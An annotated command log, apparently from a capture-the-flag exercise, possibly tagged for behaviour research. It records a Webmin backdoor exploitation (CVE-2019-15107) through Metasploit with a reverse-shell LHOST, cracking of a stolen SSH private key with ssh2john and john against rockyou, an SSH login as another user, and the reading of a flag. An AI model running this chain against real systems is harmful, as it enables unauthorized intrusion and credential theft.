```
msfconsole M2
                             search webmin 1.920 M3
                             search cve:2019-15107 A3
                   use exploit/unix/webapp/webmin_backdoor M8
                                 show options M5
                       set TARGETURI=172.18.1.5:10000 A6
                       set TARGETURI 172.18.1.5:10000 A6
                                      run M8
                                 show options M5
                                set TARGETURI / A6
                             set RHOST 172.18.1.5 A6
                                      run M8
                               set LHOST 0.0.0.0 M6
                                      run M8
                                 show options M5
                               search edb:47230 A3
                                search webmin M3
                                     banner U
                                       info U
                                     connect U
                                      run M8
                                 show options M5
                            set LHOST 10.1.135.83 M6
                                      run M8
                                       ls A10
                                       pwd U
                                       ls A10
                                      ls A10
                    cat ssh2john.py A1 A9 A11 A12 A14 A16 A17
                              python ssh2john.py M13
                                     connect U
                                    touch r.txt U
                                cp /tmp.r.txt rsa_d U
                                      ls A10
                           python ssh2john.py rsa_d M13
                     python ssh2john.py rsa_d > john_rsa M13
                                 john john rsa A14
                                  john rsa_d A14
                                 john john rsa A14
                       python ssh2john.py /tmp.k > rsa2 M13
                           cat rsa d A1 A9 A11 A12 A17
                                   john ---h A14
                                    john -h A14
                                      ls A10
                               ls Documents/m A10
                                ls Documents/A10
                              ls Documents/ -laR A10
                                      ls A10
           john john_rsa --wordlist /usr/share/wordlists/rockyou.txt M14
                                john --show A5 A14
                                       ls A10
                             john rsa_d --show A5 A14
                                      ls A10
                                ls fasttrack.txt A10
                                      ls -l A10
          john john_rsa --wordlist /usr/share/wordlists/rockyou.txt.gz M14
           john john_rsa --wordlist /usr/share/wordlists/rockyou.txt M14
                              tar -xvf rockyou.txt.gz U
                         head rockyou.txt A9 A11 A12 A17
             john rsa2 --wordlist /usr/share/wordlists/rockyou.txt M14
                                      ls A10
                                 john john_rsa A14
           john john_rsa --wordlist /usr/share/wordlists/rockyou.txt M14
            john john_rsa --wordlist /usr/share/wordlists/rockyou.txt M14
                                     john A14
        john john_rsa --wordlist /usr/share/wordlists/rockyou.txt --show M14
      john john_rsa --wordlist /usr/share/wordlists/rockyou.txt --show=left M14
     john john_rsa --wordlist /usr/share/wordlists/rockyou.txt --show=right M14
        john john_rsa --show --wordlist /usr/share/wordlists/rockyou.txt M14
           john --wordlist /usr/share/wordlists/rockyou.txt john_rsa M14
        john --wordlist /usr/share/wordlists/rockyou.txt john rsa --show M14
           john --wordlist /usr/share/wordlists/rockyou.txt john_rsa M14
                          less rockyou.txt A9 A11 A12 A17
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH M14
                                      ls A10
      john --wordlist /usr/share/wordlists/rockyou.txt rsa_d --format=SSH M14
      john --wordlist /usr/share/wordlists/rockyou.txt rsa2 --format=SSH M14
      john --wordlist /usr/share/wordlists/rockyou.txt rsa_d --format=SSH M14
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH M14
                                john --show A5 A14
                            john --show john_rsa A5 A14
                       python ssh2john.py r.txt > rsa3 M13
john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH --verbose M14
                                     john A14
john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH --verbose M14
     john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SS M14
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH M14
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH M14
                          less rockyou.txt A9 A11 A12 A17
           john --wordlist /usr/share/wordlists/rockyou.txt john_rsa M14
                                   show rsa_A5
                                   show rsa_d A5
                             john --show rsa_d A5 A14
                     python ssh2john.py /tmp/id_rsa hash M13
                    python ssh2john.py /tmp/id_rsa > hash M13
             john --wordlist /usr/share/wordlists/rockyou.txt hash M14
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules M14
                             john -- show hash A5 A14
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules M14
                          john --wordlist=all.lst hash M14
                                   sudo john A14
                      john --show hash --format=SSH A5 A14
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules M14
                      john --show hash --format=SSH A5 A14
             john --wordlist /usr/share/wordlists/rockyou.txt hash M14
                      john --show hash --format=SSH A5 A14
             john --wordlist /usr/share/wordlists/rockyou.txt hash M14
                                      ls A10
                           echo '!hellokitty!!' > wl.txt U
                          john --wordlist wl.txt hash M14
                                       ls A10
                             john --show hash A5 A14
                          echo -n '!hellokitty!!' > wl.txt U
                          john --wordlist wl.txt hash M14
                             john -- show hash A5 A14
              john --show --format=SSH
                                                         hash A5 A14
                                cat /tmp/id_rsa M12
                        python ssh2john.py /tmp/id rsa M13
                              ssh-add/tmp/id_rsa A16
                                ssh-add id_rsa A16
                                        la U
                                     ls -la A10
                       python ssh2john.py id rsa > hash M13
                john --wordlist /usr/share/wordlists/rockyou.txt M14
                             john --show id_rsa A5 A14
                              john --show hash A5 A14
             john --wordlist /usr/share/wordlists/rockyou.txt hash M14
                              john --show hash A5 A14
         john --wordlist /usr/share/wordlists/rockyou.txt --fork 4 hash M14
         john --wordlist /usr/share/wordlists/rockyou.txt --fork=4 hash M14
        john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 hash M14
                                ssh-add id_rsa A16
                              ssh eve@10.1.17.4 M16
                              cp id rsa .ssh/id rsa A16
                              ssh eve@10.1.17.4 M16
                                      ls A10
                                     ls -a A10
                                   chown 0044 U
                                chown 0044 id rsa U
                                ssh-add\ id\_rsa\ A16
                              ssh eve@10.1.17.4 M16
                                      ls A10
                                  cd top-secret/ U
                                      ls A10
                            cat flag A1 A9 A11 A12 A17
                                  cat flag.txt M17
```

nmap -A 172.18.1.5 M0

msf U

metasploit U